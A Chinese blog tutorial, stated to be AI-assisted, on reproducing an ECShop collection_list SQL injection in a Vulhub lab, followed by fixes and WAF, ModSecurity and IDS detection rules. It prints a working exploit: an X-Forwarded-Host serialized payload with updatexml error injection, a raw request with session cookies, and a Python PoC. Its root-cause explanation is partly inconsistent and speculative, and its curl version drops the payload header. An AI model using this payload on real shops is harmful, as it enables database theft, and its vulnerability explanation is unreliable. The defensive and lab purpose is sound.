手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

bash 复制代码
docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理分析

  • 漏洞名称:ECShop collection_list-sqli(Header-based SQL Injection)
  • 漏洞类型:SQL Injection(CWE-89)
  • 影响组件:
    • collection_list.php
    • includes/lib_insert.php
    • includes/cls_mysql.php
  • 利用方式:HTTP Header 注入
  • 关键 Header:X-Forwarded-Host
  • 实际利用函数:updatexml()(MySQL 报错注入)
  • 漏洞特征:
    • 前台
    • 无需登录
    • 可稳定回显数据库信息

该漏洞主要发生在 user.phpcollection_list 操作分支中。

  • 注入点 :通常位于分页处理或排序逻辑相关的参数(如 collection_id 或特定查询字段)。
  • 核心缺陷 :ECShop 早期版本通过字符串拼接的方式构建 SQL 语句。在处理 collection_list 时,程序从外部获取参数后,虽然可能经过了简单的 addslashes 处理,但在某些特定的查询位置(如 IN 子句或 ORDER BY 之后),简单的转义无法阻止攻击者通过闭合括号或逻辑组合来改写查询。
  • 后果 :攻击者可以实现报错注入盲注 ,从而读取管理员表 (ecs_admin_user) 的用户名和加密密码(MD5+Salt),甚至进一步获取服务器权限。
graph TD A[攻击者] --> B[注册并登录普通用户账号] B --> C[访问user.php页面] C --> D[act=collection_list] subgraph "恶意请求构造" D --> E[构造HTTP请求头注入] E --> F[设置X-Forwarded-Host头] F --> G[注入序列化Payload] G --> H[包含SQL注入语句] end subgraph "服务器处理" H --> I[ECShop接收请求] I --> J[记录日志到数据库] J --> K[序列化数据存入pay_log] K --> L[包含恶意SQL代码] end subgraph "漏洞触发" L --> M[管理员查看日志] M --> N[反序列化数据] N --> O[执行SQL注入代码] end subgraph "SQL执行" O --> P[updatexml报错注入] P --> Q[执行SQL语句] Q --> R[触发数据库错误] end subgraph "数据泄露" R --> S[返回错误信息] S --> T[包含数据库用户信息] T --> U[攻击者获取敏感数据] end style B fill:#ffcccc,stroke:#333 style D fill:#ff9999,stroke:#333,stroke-width:2px style F fill:#ff6666,stroke:#333,stroke-width:2px style K fill:#ff3333,stroke:#333,stroke-width:3px style O fill:#cc0000,stroke:#333,stroke-width:2px style U fill:#990000,stroke:#333,stroke-width:3px

1️⃣ 根本原因(一句话版)

ECShop 将部分 HTTP Header 写入日志或数据库时,经过不安全的字符串拼接与反序列化处理,最终进入 SQL 语句,导致攻击者可以通过 Header 注入 SQL 语句。

2️⃣ 关键漏洞链路(真实) (1)Header 被信任 ECShop 在统计、日志、插件逻辑中会读取:$_SERVER['HTTP_X_FORWARDED_HOST'],并 错误地认为该 Header 是可信的代理字段

(2)Header 被拼进序列化数据 在某些 ECShop 版本中,Header 会进入类似如下结构(逻辑示意):$log_data = serialize($data); 而payload 中:apay_log|s:44:"恶意内容";正是 PHP 序列化字符串结构

(3)反序列化后进入 SQL 反序列化后,其中字段被用于数据库操作:$sql = "INSERT INTO ecs_pay_log (log_info) VALUES ('$log_info')";,此处 $log_info 未进行任何转义或参数化

(4)最终 SQL 注入成立

你的 PoC 中核心 SQL 片段是:1' and updatexml(1,repeat(user(),2),1) and '。最终数据库执行时触发 MySQL XML 报错回显当前数据库用户

DFD(数据流)

js 复制代码
[Attacker]
   |
   | 1. HTTP Request + Malicious Header
   v
[Web Server / PHP]
   |
   | 2. Read X-Forwarded-Host
   v
[ECShop Logic Layer]
   |
   | 3. Serialize / Unserialize
   v
[SQL Builder]
   |
   | 4. Raw SQL Execution
   v
[MySQL Database]

STRIDE 威胁分析

威胁 是否 说明
Spoofing 伪造代理 Header
Tampering SQL 结构被篡改
Repudiation ⚠️ 日志被污染
Info Disclosure DB 用户名泄露
DoS ⚠️ 可构造错误风暴
EoP ⚠️ 可联动写文件

漏洞复现原理图示说明

请求示意

sh 复制代码
GET /collection_list.php HTTP/1.1
Host: victim.com
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|

实际执行 SQL(逻辑还原)

sql 复制代码
INSERT INTO ecs_pay_log (log_info)
VALUES ('1' and updatexml(1,repeat(user(),2),1) and '')

MySQL 报错回显

bash 复制代码
XPATH syntax error: '~ecshop@localhostecshop@localhost'

这说明,user() 被成功执行,SQL 注入完全成立,攻击者可继续 dump 数据。

漏洞原理示意图

序列化Payload结构

php 复制代码
攻击者构造的X-Forwarded-Host头:
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";

解析:
- 45ea207d7a2b68c49582d2d22adf953a: 可能是标识符或密钥
- pay_log: 目标字段名
- s:44: 序列化字符串,长度44
- 内容: "1' and updatexml(1,repeat(user(),2),1) and '"

SQL注入Payload:
updatexml(1,repeat(user(),2),1)
- updatexml: MySQL XML函数,用于报错注入
- repeat(user(),2): 重复当前数据库用户两次
- 触发XML解析错误,返回数据库用户信息

ECShop漏洞代码原理

php 复制代码
// ECShop记录日志的漏洞代码
function log_write($content) {
    // 记录访问日志
    $sql = "INSERT INTO " . $GLOBALS['ecs']->table('pay_log') . 
           " (log_data) VALUES ('" . addslashes(serialize($content)) . "')";
    
    // 问题: 在记录前$content可能已被污染
    $GLOBALS['db']->query($sql);
}

// 处理HTTP请求时
function handle_request() {
    $log_data = array(
        'ip' => $_SERVER['REMOTE_ADDR'],
        'time' => time(),
        'host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'],
        // 其他数据...
    );
    
    // 记录日志 - 这里可能直接序列化未经验证的数据
    log_write($log_data);
}

// 后台查看日志时
function view_log() {
    $sql = "SELECT * FROM " . $GLOBALS['ecs']->table('pay_log') . " ORDER BY id DESC";
    $logs = $GLOBALS['db']->getAll($sql);
    
    foreach ($logs as $log) {
        // 反序列化日志数据 - 漏洞点
        $data = unserialize($log['log_data']);
        
        // 如果$data包含恶意序列化字符串,可能触发其他漏洞
        // 这里实际是利用了序列化字符串中的SQL注入
    }
}

漏洞复现

按照安装导向进行安装与部署。

注册并登录相关用户。

指纹识别

这里已经知道漏洞详情了,故而没什么大作用。如果不知道可以一次尝试ecshop的各种符合版本的漏洞。

对漏洞接口进行抓包。

反序列化后修改XFH。

js 复制代码
GET /user.php?act=collection_list HTTP/1.1

Host: 192.168.0.32:8080

X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

Cookie: CactiTimeZone=480; CactiDateTime=Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00); real_ipd=192.168.0.13; ECS_ID=3a36849d334599174212c289a8b82ca8c1df580f; ECS[visit_times]=1; ECS[display]=grid; ECS[username]=user; ECS[user_id]=3; ECS[password]=7541c06078fec8aa590726f47db1a;

Connection: close

报错注入利用成功。

等同于curl语句。

js 复制代码
curl -X GET "http://192.168.0.32:8080/user.php?act=collection_list" \
  -H "Host: 192.168.0.32:8080" \
  -H "Cookie: CactiTimeZone=480; CactiDateTime=Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00); real_ipd=192.168.0.13; ECS_ID=3a36849d334599174212c289a8b82ca8c1df580f; ECS[visit_times]=1; ECS[display]=grid; ECS[username]=user; ECS[user_id]=3; ECS[password]=7541c06078fec8aa590726f47db1a;" \
  -i \
  --compressed
  

(带 -i--compressed 参数),这样可以看到完整的HTTP响应头和自动解压的内容。 警告出现的原因是:

  1. 服务器可能返回了gzip压缩的内容
  2. 或者响应中包含非文本的二进制数据
  3. curl默认尝试保护终端不被乱码破坏 使用 --compressed 可以让curl自动处理压缩内容,-i 可以显示响应头,这样更容易理解服务器的响应。

抑或将burpsuite抓包里的信息利用python表示。

python 复制代码
import requests

url = "http://192.168.0.32:8080/user.php?act=collection_list"

headers = {
    "X-Forwarded-Host": '45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1\' and updatexml(1,repeat(user(),2),1) and \'";|',
}

cookies = {
    "CactiTimeZone": "480",
    "CactiDateTime": "Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00)",
    "real_ipd": "192.168.0.13",
    "ECS_ID": "3a36849d334599174212c289a8b82ca8c1df580f",
    "ECS[visit_times]": "1",
    "ECS[display]": "grid",
    "ECS[username]": "user",
    "ECS[user_id]": "3",
    "ECS[password]": "7541c06078fec8aa590726f47db1a"
}

response = requests.get(url, headers=headers, cookies=cookies)
print(response.text)

修复建议

  1. 代码升级:将 ECShop 升级至官方最新稳定版本(如 4.1.x+),官方已在后续版本中重构了底层数据库驱动。
  2. 参数强制类型转换 :对于预期为整数的参数(如 id, page),在进入 SQL 之前强制进行 (int) 转换。
  3. 使用参数化查询 :修改底层 cls_mysql.php,强制使用类似 PDO 的占位符方式执行 SQL。
  4. 全局防御 :开启 ECShop 自带的 anti_sql_injection 过滤功能,或在 WAF 上配置对应的防御规则。

伪代码级修复示例

核心修复逻辑:在数据进入 SQL 之前,通过类型限制确保其安全性。

❌ 漏洞代码(示意)

php 复制代码
// user.php
$collection_id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 0;
// 漏洞点:直接拼接在 IN 后或 WHERE 条件中
$sql = "SELECT * FROM " . $ecs->table('collect_goods') . 
       " WHERE user_id = '$user_id' AND rec_id IN ($collection_id)";
$res = $db->query($sql);

✅ 修复后代码

php 复制代码
// user.php
$collection_id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 0;

// 修复方法 1:强制整数化 (针对单个 ID 或数组)
if (is_array($collection_id)) {
    $collection_id = array_map('intval', $collection_id);
    $ids = implode(',', $collection_id);
} else {
    $ids = intval($collection_id);
}

// 修复方法 2:构建安全的 SQL
if (!empty($ids)) {
    $sql = "SELECT * FROM " . $ecs->table('collect_goods') . 
           " WHERE user_id = '" . intval($user_id) . "' AND rec_id IN ($ids)";
    $res = $db->query($sql);
}

修复方案

修复方案1:过滤HTTP头输入

php 复制代码
// 修复前:直接使用HTTP头
$host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'];

// 修复后:过滤和验证
function safe_get_host() {
    $host = '';
    
    if (isset($_SERVER['HTTP_X_FORWARDED_HOST'])) {
        // 只取第一个,如果有多个
        $hosts = explode(',', $_SERVER['HTTP_X_FORWARDED_HOST']);
        $host = trim($hosts[0]);
    } elseif (isset($_SERVER['HTTP_HOST'])) {
        $host = $_SERVER['HTTP_HOST'];
    }
    
    // 验证主机名格式
    if (!preg_match('/^[a-zA-Z0-9\.\-:]+$/', $host)) {
        return 'localhost';
    }
    
    // 限制长度
    if (strlen($host) > 255) {
        return 'localhost';
    }
    
    return $host;
}

// 使用安全函数
$host = safe_get_host();

修复方案2:安全序列化处理

php 复制代码
// 修复序列化漏洞
function safe_serialize($data) {
    // 深度检查数据
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            // 递归检查
            $data[$key] = safe_serialize($value);
        }
    } elseif (is_string($data)) {
        // 检查是否包含序列化格式
        if (preg_match('/^[a-z]:\d+:/i', $data)) {
            // 可能是序列化字符串,拒绝或转义
            $data = 'serialized_data_removed:' . md5($data);
        }
        
        // 检查SQL注入
        $data = $this->safe_sql_string($data);
    }
    
    return serialize($data);
}

function safe_unserialize($string) {
    // 检查序列化字符串格式
    if (!preg_match('/^[a-z]:\d+:/i', $string)) {
        return false;
    }
    
    // 限制反序列化的类
    $allowed_classes = ['stdClass', 'array'];
    
    try {
        $data = unserialize($string, ['allowed_classes' => $allowed_classes]);
    } catch (Exception $e) {
        // 记录错误但不暴露细节
        error_log('Unserialize error: ' . $e->getMessage());
        return false;
    }
    
    return $data;
}

修复方案3:更新ECShop核心文件

php 复制代码
// includes/init.php 或 cls_ecshop.php
class ECSecurity {
    
    public static function filter_injection($input) {
        if (is_array($input)) {
            foreach ($input as $key => $value) {
                $input[$key] = self::filter_injection($value);
            }
            return $input;
        }
        
        // 过滤SQL关键字
        $sql_keywords = [
            'select', 'union', 'insert', 'update', 'delete', 'drop',
            'create', 'alter', 'exec', 'execute', 'xp_cmdshell',
            'information_schema', 'updatexml', 'extractvalue'
        ];
        
        foreach ($sql_keywords as $keyword) {
            $pattern = '/\b' . preg_quote($keyword, '/') . '\b/i';
            if (preg_match($pattern, $input)) {
                // 记录安全事件
                self::log_security_event('sql_keyword_detected', $input);
                return '';
            }
        }
        
        // 检查序列化注入
        if (strpos($input, '|s:') !== false && 
            preg_match('/\|s:\d+:/', $input)) {
            self::log_security_event('serialize_injection', $input);
            return '';
        }
        
        return $input;
    }
    
    public static function log_security_event($type, $data) {
        $log = sprintf(
            "[%s] Security Event: %s - Data: %s - IP: %s\n",
            date('Y-m-d H:i:s'),
            $type,
            substr($data, 0, 100),
            $_SERVER['REMOTE_ADDR'] ?? 'unknown'
        );
        
        file_put_contents(
            ROOT_PATH . 'data/security.log',
            $log,
            FILE_APPEND | LOCK_EX
        );
    }
}

// 在接收HTTP头时使用
$_SERVER = ECSecurity::filter_injection($_SERVER);

修复方案4:WAF规则

nginx 复制代码
# Nginx配置防护规则
http {
    # 定义阻止规则
    map $http_x_forwarded_host $block_xfh {
        default 0;
        "~*\|s:\d+:" 1;  # 包含序列化格式
        "~*updatexml|extractvalue" 1;  # SQL注入函数
        "~*information_schema" 1;  # 系统表
    }
    
    server {
        listen 80;
        server_name ecshop.local;
        
        location ~ \.php$ {
            # 检查X-Forwarded-Host头
            if ($block_xfh = 1) {
                return 403 "Invalid request";
                access_log /var/log/nginx/ecshop_blocked.log;
            }
            
            # 限制头长度
            if ($http_x_forwarded_host ~ ".{500,}") {
                return 400 "Header too long";
            }
            
            fastcgi_pass unix:/var/run/php/php-fpm.sock;
            include fastcgi_params;
            
            # 安全头部
            fastcgi_param HTTP_X_FORWARDED_HOST "";
        }
    }
}

基于该漏洞的检测与防护规则

1️⃣ WAF 核心检测逻辑

检测点:

  • Header:X-Forwarded-Host
  • 关键特征:
    • updatexml
    • repeat(
    • ' and
    • |s:\d+:

Flask 防护示例

python 复制代码
from flask import Flask, request, abort
import re

app = Flask(__name__)

HEADER_SQLI = re.compile(
    r"(updatexml|extractvalue|repeat\(|\|\s*s:\d+:|'\s*and)",
    re.IGNORECASE
)

@app.before_request
def detect_header_sqli():
    xfh = request.headers.get("X-Forwarded-Host", "")
    if HEADER_SQLI.search(xfh):
        abort(403, "ECShop Header SQL Injection Detected")

Nginx + ModSecurity 规则(实战级)

ruby 复制代码
SecRule REQUEST_HEADERS:X-Forwarded-Host \
"(?i)(updatexml|extractvalue|repeat\(|\|\s*s:\d+:)" \
"phase:1,deny,status:403,msg:'ECShop Header SQLi (collection_list)'"

IDS规则示例

js 复制代码
alert tcp any any -> any 80 ( \
    msg:"ECShop X-Forwarded-Host SQL Injection Attempt"; \
    flow:to_server,established; \
    content:"X-Forwarded-Host"; http_header; \
    pcre:"/X-Forwarded-Host.*\|s:\d+:.*updatexml|extractvalue/i"; \
    classtype:web-application-attack; \
    sid:2018001; \
    rev:1; \
)

alert tcp any any -> any 80 ( \
    msg:"ECShop Serialization Injection"; \
    flow:to_server,established; \
    content:"X-Forwarded-Host"; http_header; \
    pcre:"/X-Forwarded-Host.*pay_log\|s:\d+:/i"; \
    classtype:web-application-attack; \
    sid:2018002; \
    rev:1; \
)

安全监控脚本

php 复制代码
// ECShop安全监控
class ECSecurityMonitor {
    
    public static function monitor_requests() {
        $suspicious_headers = [
            'HTTP_X_FORWARDED_HOST',
            'HTTP_USER_AGENT',
            'HTTP_REFERER'
        ];
        
        foreach ($suspicious_headers as $header) {
            if (isset($_SERVER[$header])) {
                $value = $_SERVER[$header];
                
                // 检查序列化注入
                if (strpos($value, '|s:') !== false && 
                    preg_match('/\|s:\d+:/', $value)) {
                    self::alert_serialization_injection($header, $value);
                }
                
                // 检查SQL注入
                $sql_patterns = [
                    '/updatexml\s*\(/i',
                    '/extractvalue\s*\(/i',
                    '/information_schema/i',
                    '/union\s+select/i'
                ];
                
                foreach ($sql_patterns as $pattern) {
                    if (preg_match($pattern, $value)) {
                        self::alert_sql_injection($header, $value);
                        break;
                    }
                }
            }
        }
    }
    
    private static function alert_serialization_injection($header, $value) {
        $log = sprintf(
            "[%s] Serialization Injection Attempt - Header: %s - Value: %s - IP: %s\n",
            date('Y-m-d H:i:s'),
            $header,
            substr($value, 0, 200),
            $_SERVER['REMOTE_ADDR']
        );
        
        error_log($log);
        
        // 可选:发送警报
        if (function_exists('mail')) {
            mail(
                'admin@example.com',
                'ECShop Security Alert: Serialization Injection',
                $log,
                'From: security@example.com'
            );
        }
    }
}

// 在应用入口调用
ECSecurityMonitor::monitor_requests();

参考文章;

1.Vulhub-POC/ECShop 4.x collection_list SQL注入.md at master · lg996/Vulhub-POC · GitHub github.com/lg996/Vulhu...

2.好文推荐 ECShop 4.x collection_list SQL注入 | CN-SEC 中文网 cn-sec.com/archives/36...

相关推荐
BullSmall5 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters6 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
叠叠乐9 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd01239 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代9 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i10 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel123410 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼11 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技12 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全
波多利希最高礼仪的握力器12 小时前
安全复制SCP
linux·服务器·安全